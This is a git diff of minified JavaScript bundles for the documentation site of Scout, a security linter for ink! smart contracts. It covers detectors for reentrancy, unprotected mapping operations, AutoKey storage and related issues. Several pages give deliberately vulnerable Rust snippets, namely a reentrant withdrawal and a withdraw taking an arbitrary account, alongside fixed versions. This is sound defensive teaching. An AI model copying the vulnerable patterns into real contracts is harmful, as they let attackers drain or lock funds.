users."))),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance, from: AccountId) -> Result<(), Error> {\n let current_bal = self.balances.take(from).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(from, &(current_bal - amount));\n self.env()\n .transfer(from, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn withdraw(&mut self, amount: Balance) -> Result<(), Error> {\n let caller = self.env().caller();\n let current_bal = self.balances.take(caller).unwrap_or(0);\n if current_bal >= amount {\n self.balances.insert(caller, &(current_bal - amount));\n self.env()\n .transfer(caller, current_bal)\n .map_err(|_| Error::TransferError)\n } else {\n Err(Error::BalanceNotEnough)\n }\n }\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-mapping-operation"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/ac1e3edf.12abf40e.js b/assets/js/ac1e3edf.12abf40e.js new file mode 100644 index 00000000..1d19f9e7 --- /dev/null +++ b/assets/js/ac1e3edf.12abf40e.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[8398],{9613:(e,t,a)=>{a.d(t,{Zo:()=>c,kt:()=>y});var r=a(9496);function n(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function o(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),a.push.apply(a,r)}return a}function i(e){for(var t=1;t=0||(n[a]=e[a]);return n}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,a)&&(n[a]=e[a])}return n}var s=r.createContext({}),u=function(e){var t=r.useContext(s),a=t;return e&&(a="function"==typeof e?e(t):i(i({},t),e)),a},c=function(e){var t=u(e.components);return r.createElement(s.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var a=e.components,n=e.mdxType,o=e.originalType,s=e.parentName,c=l(e,["components","mdxType","originalType","parentName"]),d=u(a),m=n,y=d["".concat(s,".").concat(m)]||d[m]||p[m]||o;return a?r.createElement(y,i(i({ref:t},c),{},{components:a})):r.createElement(y,i({ref:t},c))}));function y(e,t){var a=arguments,n=t&&t.mdxType;if("string"==typeof e||n){var o=a.length,i=new Array(o);i[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[d]="string"==typeof e?e:n,i[1]=l;for(var u=2;u{a.r(t),a.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>l,toc:()=>u});var r=a(2564),n=(a(9496),a(9613));const o={},i="Avoid AutoKey Upgradable",l={unversionedId:"detectors/avoid-autokey-upgradable",id:"detectors/avoid-autokey-upgradable",title:"Avoid AutoKey Upgradable",description:"What it does",source:"@site/docs/detectors/29-avoid-autokey-upgradable.md",sourceDirName:"detectors",slug:"/detectors/avoid-autokey-upgradable",permalink:"/scout/docs/detectors/avoid-autokey-upgradable",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/29-avoid-autokey-upgradable.md",tags:[],version:"current",sidebarPosition:29,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy values get and not set",permalink:"/scout/docs/detectors/lazy-values-not-set"},next:{title:"Non payable transferred value",permalink:"/scout/docs/detectors/non-payable-transferred-value"}},s={},u=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:3},{value:"Implementation",id:"implementation",level:3}],c={toc:u},d="wrapper";function p(e){let{components:t,...a}=e;return(0,n.kt)(d,(0,r.Z)({},c,a,{components:t,mdxType:"MDXLayout"}),(0,n.kt)("h1",{id:"avoid-autokey-upgradable"},"Avoid AutoKey Upgradable"),(0,n.kt)("h3",{id:"what-it-does"},"What it does"),(0,n.kt)("p",null,"Warns about the usage of ",(0,n.kt)("inlineCode",{parentName:"p"},"Lazy")," storage (",(0,n.kt)("inlineCode",{parentName:"p"},"Mapping"),", ",(0,n.kt)("inlineCode",{parentName:"p"},"Lazy")," and ",(0,n.kt)("inlineCode",{parentName:"p"},"StorageVec"),") without a ",(0,n.kt)("inlineCode",{parentName:"p"},"ManualKey<...>")," when the function ",(0,n.kt)("inlineCode",{parentName:"p"},"set_code_hash")," is used in the contract."),(0,n.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,n.kt)("p",null,"If the hash passed to ",(0,n.kt)("inlineCode",{parentName:"p"},"set_code_hash")," corresponds to a contract that the compiler assigned ",(0,n.kt)("inlineCode",{parentName:"p"},"AutoKey<>")," to the lazy values, the data in the old keys will be lost. This could lead not only to data loss, but to a locked contract too."),(0,n.kt)("h3",{id:"more-info"},"More info"),(0,n.kt)("ul",null,(0,n.kt)("li",{parentName:"ul"},(0,n.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/storage-layout/#manual-vs-automatic-key-generation"},"https://use.ink/datastructures/storage-layout/#manual-vs-automatic-key-generation"))),(0,n.kt)("h3",{id:"implementation"},"Implementation"),(0,n.kt)("p",null,"The detector's implementation can be found at ",(0,n.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-autokey-upgradable"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/acaf757c.a162ad4f.js b/assets/js/acaf757c.4e583c81.js similarity index 53% rename from assets/js/acaf757c.a162ad4f.js rename to assets/js/acaf757c.4e583c81.js index de1e4423..7c9389f4 100644 --- a/assets/js/acaf757c.a162ad4f.js +++ b/assets/js/acaf757c.4e583c81.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5136],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var i=r.createContext({}),s=function(e){var t=r.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=s(e.components);return r.createElement(i.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,l=e.originalType,i=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),d=s(n),m=a,f=d["".concat(i,".").concat(m)]||d[m]||p[m]||l;return n?r.createElement(f,o(o({ref:t},u),{},{components:n})):r.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var l=n.length,o=new Array(l);o[0]=m;var c={};for(var i in t)hasOwnProperty.call(t,i)&&(c[i]=t[i]);c.originalType=e,c[d]="string"==typeof e?e:a,o[1]=c;for(var s=2;s{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>o,default:()=>p,frontMatter:()=>l,metadata:()=>c,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const l={},o="Reentrancy",c={unversionedId:"detectors/reentrancy",id:"detectors/reentrancy",title:"Reentrancy",description:"What it does",source:"@site/docs/detectors/3-reentrancy.md",sourceDirName:"detectors",slug:"/detectors/reentrancy",permalink:"/scout/docs/detectors/reentrancy",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/3-reentrancy.md",tags:[],version:"current",sidebarPosition:3,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Set contract storage",permalink:"/scout/docs/detectors/set-contract-storage"},next:{title:"Panic error",permalink:"/scout/docs/detectors/panic-error"}},i={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:s},d="wrapper";function p(e){let{components:t,...n}=e;return(0,a.kt)(d,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"reentrancy"},"Reentrancy"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"This linting rule checks whether the 'check-effect' interaction pattern has been properly followed by code that invokes a contract that may call back the original one."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"If state modifications are made after a contract call, reentrant calls may not detect these modifications, potentially leading to unexpected behaviors such as double spending."),(0,a.kt)("h3",{id:"known-problems"},"Known problems"),(0,a.kt)("p",null,"If called method does not perform a malicious reentrancy (i.e. known method from known contract) false positives will arise.\nIf the usage of set_allow_reentry(true) or later state changes are performed in an auxiliary function, this detector will not detect the reentrancy."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"let caller_addr = self.env().caller();\nlet caller_balance = self.balance(caller_addr);\n\nif amount > caller_balance {\n return Ok(caller_balance);\n}\n\nlet call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(ink::env::call::ExecutionInput::new(Selector::new(\n selector.to_be_bytes(),\n )))\n .call_flags(ink::env::CallFlags::default().set_allow_reentry(true))\n .returns::<()>()\n .params();\nself.env()\n .invoke_contract(&call)\n .map_err(|_| Error::ContractInvokeFailed)?\n .map_err(|_| Error::ContractInvokeFailed)?;\n\nlet new_balance = caller_balance.checked_sub(amount).ok_or(Error::Underflow)?;\nself.balances.insert(caller_addr, &new_balance);\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'let caller_addr = self.env().caller();\nlet caller_balance = self.balances.get(caller_addr).unwrap_or(0);\nif amount <= caller_balance {\n //The balance is updated before the contract call\n self.balances\n .insert(caller_addr, &(caller_balance - amount));\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(ink::env::call::ExecutionInput::new(Selector::new(\n selector.to_be_bytes(),\n )))\n .call_flags(ink::env::CallFlags::default().set_allow_reentry(true))\n .returns::<()>()\n .params();\n self.env()\n .invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}", err))\n .unwrap_or_else(|err| panic!("LangErr {:?}", err));\n\n return caller_balance - amount;\n} else {\n return caller_balance;\n}\n')),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at these links ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-1"},"link1"),", ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-2"},"link2"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5136],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var i=r.createContext({}),s=function(e){var t=r.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=s(e.components);return r.createElement(i.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,l=e.originalType,i=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),d=s(n),m=a,f=d["".concat(i,".").concat(m)]||d[m]||p[m]||l;return n?r.createElement(f,o(o({ref:t},u),{},{components:n})):r.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var l=n.length,o=new Array(l);o[0]=m;var c={};for(var i in t)hasOwnProperty.call(t,i)&&(c[i]=t[i]);c.originalType=e,c[d]="string"==typeof e?e:a,o[1]=c;for(var s=2;s{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>o,default:()=>p,frontMatter:()=>l,metadata:()=>c,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const l={},o="Reentrancy",c={unversionedId:"detectors/reentrancy",id:"detectors/reentrancy",title:"Reentrancy",description:"What it does",source:"@site/docs/detectors/3-reentrancy.md",sourceDirName:"detectors",slug:"/detectors/reentrancy",permalink:"/scout/docs/detectors/reentrancy",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/3-reentrancy.md",tags:[],version:"current",sidebarPosition:3,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Set contract storage",permalink:"/scout/docs/detectors/set-contract-storage"},next:{title:"Panic error",permalink:"/scout/docs/detectors/panic-error"}},i={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:s},d="wrapper";function p(e){let{components:t,...n}=e;return(0,a.kt)(d,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"reentrancy"},"Reentrancy"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"This linting rule checks whether the 'check-effects-interaction' pattern has been properly followed by any code that invokes a contract that may call back to the original one."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"If state modifications are made after a contract call, reentrant calls may not detect these modifications, potentially leading to unexpected behaviors such as double spending."),(0,a.kt)("h3",{id:"known-problems"},"Known problems"),(0,a.kt)("p",null,"If called method does not perform a malicious reentrancy (i.e. known method from known contract) false positives will arise.\nIf the usage of ",(0,a.kt)("inlineCode",{parentName:"p"},"set_allow_reentry(true)")," or later state changes are performed in an auxiliary function, this detector will not detect the reentrancy."),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},"let caller_addr = self.env().caller();\nlet caller_balance = self.balance(caller_addr);\n\nif amount > caller_balance {\n return Ok(caller_balance);\n}\n\nlet call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(ink::env::call::ExecutionInput::new(Selector::new(\n selector.to_be_bytes(),\n )))\n .call_flags(ink::env::CallFlags::default().set_allow_reentry(true))\n .returns::<()>()\n .params();\nself.env()\n .invoke_contract(&call)\n .map_err(|_| Error::ContractInvokeFailed)?\n .map_err(|_| Error::ContractInvokeFailed)?;\n\nlet new_balance = caller_balance.checked_sub(amount).ok_or(Error::Underflow)?;\nself.balances.insert(caller_addr, &new_balance);\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},'let caller_addr = self.env().caller();\nlet caller_balance = self.balances.get(caller_addr).unwrap_or(0);\nif amount <= caller_balance {\n //The balance is updated before the contract call\n self.balances\n .insert(caller_addr, &(caller_balance - amount));\n let call = build_call::()\n .call(address)\n .transferred_value(amount)\n .exec_input(ink::env::call::ExecutionInput::new(Selector::new(\n selector.to_be_bytes(),\n )))\n .call_flags(ink::env::CallFlags::default().set_allow_reentry(true))\n .returns::<()>()\n .params();\n self.env()\n .invoke_contract(&call)\n .unwrap_or_else(|err| panic!("Err {:?}", err))\n .unwrap_or_else(|err| panic!("LangErr {:?}", err));\n\n return caller_balance - amount;\n} else {\n return caller_balance;\n}\n')),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at these links ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-1"},"link1"),", ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/reentrancy-2"},"link2"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/b5070bd0.8be38ca2.js b/assets/js/b5070bd0.8be38ca2.js new file mode 100644 index 00000000..88fd864d --- /dev/null +++ b/assets/js/b5070bd0.8be38ca2.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[698],{9613:(e,t,n)=>{n.d(t,{Zo:()=>s,kt:()=>f});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var p=r.createContext({}),l=function(e){var t=r.useContext(p),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},s=function(e){var t=l(e.components);return r.createElement(p.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,p=e.parentName,s=c(e,["components","mdxType","originalType","parentName"]),u=l(n),m=o,f=u["".concat(p,".").concat(m)]||u[m]||d[m]||a;return n?r.createElement(f,i(i({ref:t},s),{},{components:n})):r.createElement(f,i({ref:t},s))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,i=new Array(a);i[0]=m;var c={};for(var p in t)hasOwnProperty.call(t,p)&&(c[p]=t[p]);c.originalType=e,c[u]="string"==typeof e?e:o,i[1]=c;for(var l=2;l{n.r(t),n.d(t,{assets:()=>p,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>c,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const a={},i="Vec could be mapping",c={unversionedId:"detectors/vec-could-be-mapping",id:"detectors/vec-could-be-mapping",title:"Vec could be mapping",description:"What it does",source:"@site/docs/detectors/31-vec-could-be-mapping.md",sourceDirName:"detectors",slug:"/detectors/vec-could-be-mapping",permalink:"/scout/docs/detectors/vec-could-be-mapping",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/31-vec-could-be-mapping.md",tags:[],version:"current",sidebarPosition:31,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Non payable transferred value",permalink:"/scout/docs/detectors/non-payable-transferred-value"},next:{title:"Don't use invoke_contract_v1",permalink:"/scout/docs/detectors/dont-use-invoke-contract-v1"}},p={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Implementation",id:"implementation",level:3}],s={toc:l},u="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(u,(0,r.Z)({},s,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"vec-could-be-mapping"},"Vec could be mapping"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Warns about the usage of the ",(0,o.kt)("inlineCode",{parentName:"p"},".find()")," method in vector of tuples of the storage. This can be replaced by a ",(0,o.kt)("inlineCode",{parentName:"p"},"Mapping")),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"Iterating over a vector is more expensive if you are trying to find something in a vector than if you are using a ",(0,o.kt)("inlineCode",{parentName:"p"},"Mapping"),"."),(0,o.kt)("h4",{id:"more-info"},"More info"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://docs.rs/ink/latest/ink/storage/struct.Mapping.html"},"https://docs.rs/ink/latest/ink/storage/struct.Mapping.html"))),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/vec-could-be-mapping"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/bbcc19ba.5df476cb.js b/assets/js/bbcc19ba.5df476cb.js deleted file mode 100644 index 9f8c1e19..00000000 --- a/assets/js/bbcc19ba.5df476cb.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1926],{9613:(e,t,r)=>{r.d(t,{Zo:()=>p,kt:()=>f});var n=r(9496);function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function o(e){for(var t=1;t=0||(i[r]=e[r]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(i[r]=e[r])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):o(o({},t),e)),r},p=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(r),m=i,f=u["".concat(s,".").concat(m)]||u[m]||d[m]||a;return r?n.createElement(f,o(o({ref:t},p),{},{components:r})):n.createElement(f,o({ref:t},p))}));function f(e,t){var r=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=r.length,o=new Array(a);o[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>d,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var n=r(2564),i=(r(9496),r(9613));const a={},o="Iterators over indexing",l={unversionedId:"vulnerabilities/iterators-over-indexing",id:"vulnerabilities/iterators-over-indexing",title:"Iterators over indexing",description:"Description",source:"@site/docs/vulnerabilities/19-iterators-over-indexing.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/iterators-over-indexing",permalink:"/scout/docs/vulnerabilities/iterators-over-indexing",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/19-iterators-over-indexing.md",tags:[],version:"current",sidebarPosition:19,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected Self Destruct",permalink:"/scout/docs/vulnerabilities/unprotected-self-destruct"},next:{title:"Ink! version",permalink:"/scout/docs/vulnerabilities/ink-version"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:c},u="wrapper";function d(e){let{components:t,...r}=e;return(0,i.kt)(u,(0,n.Z)({},p,r,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"iterators-over-indexing"},"Iterators over indexing"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhacement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/iterators-over-indexing"},(0,i.kt)("inlineCode",{parentName:"a"},"iterators-over-indexing"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/iterators-over-indexing/iterators-over-indexing-1"},(0,i.kt)("inlineCode",{parentName:"a"},"iterators-over-indexing-1")))),(0,i.kt)("p",null,"Iterating with hardcoded indexes is slower than using an iterator. Also, if the index is out of bounds, it will panic."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn bad_indexing(&self){\n for i in 0..3 {\n foo(self.value[i]);\n }\n }\n")),(0,i.kt)("p",null,"The problem arises from the use of hardcoded indexes. If ",(0,i.kt)("inlineCode",{parentName:"p"},"self.value")," has less than 4 elements, the contract will panic."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/iterators-over-indexing/iterators-over-indexing-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Avoid the use of hardcoded indexes. Instead, use ",(0,i.kt)("inlineCode",{parentName:"p"},"iter()"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"to_iter()"),", ",(0,i.kt)("inlineCode",{parentName:"p"},"for ... in ...")," or range over ",(0,i.kt)("inlineCode",{parentName:"p"},"0..value.len()")),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/iterators-over-indexing/iterators-over-indexing-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#memory-management"},"Memory management"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/bbcc19ba.7f7871ac.js b/assets/js/bbcc19ba.7f7871ac.js new file mode 100644 index 00000000..c6521c6b --- /dev/null +++ b/assets/js/bbcc19ba.7f7871ac.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1926],{9613:(e,t,r)=>{r.d(t,{Zo:()=>p,kt:()=>f});var n=r(9496);function i(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function o(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function a(e){for(var t=1;t=0||(i[r]=e[r]);return i}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(i[r]=e[r])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):a(a({},t),e)),r},p=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,i=e.mdxType,o=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(r),m=i,f=u["".concat(s,".").concat(m)]||u[m]||d[m]||o;return r?n.createElement(f,a(a({ref:t},p),{},{components:r})):n.createElement(f,a({ref:t},p))}));function f(e,t){var r=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var o=r.length,a=new Array(o);a[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:i,a[1]=l;for(var 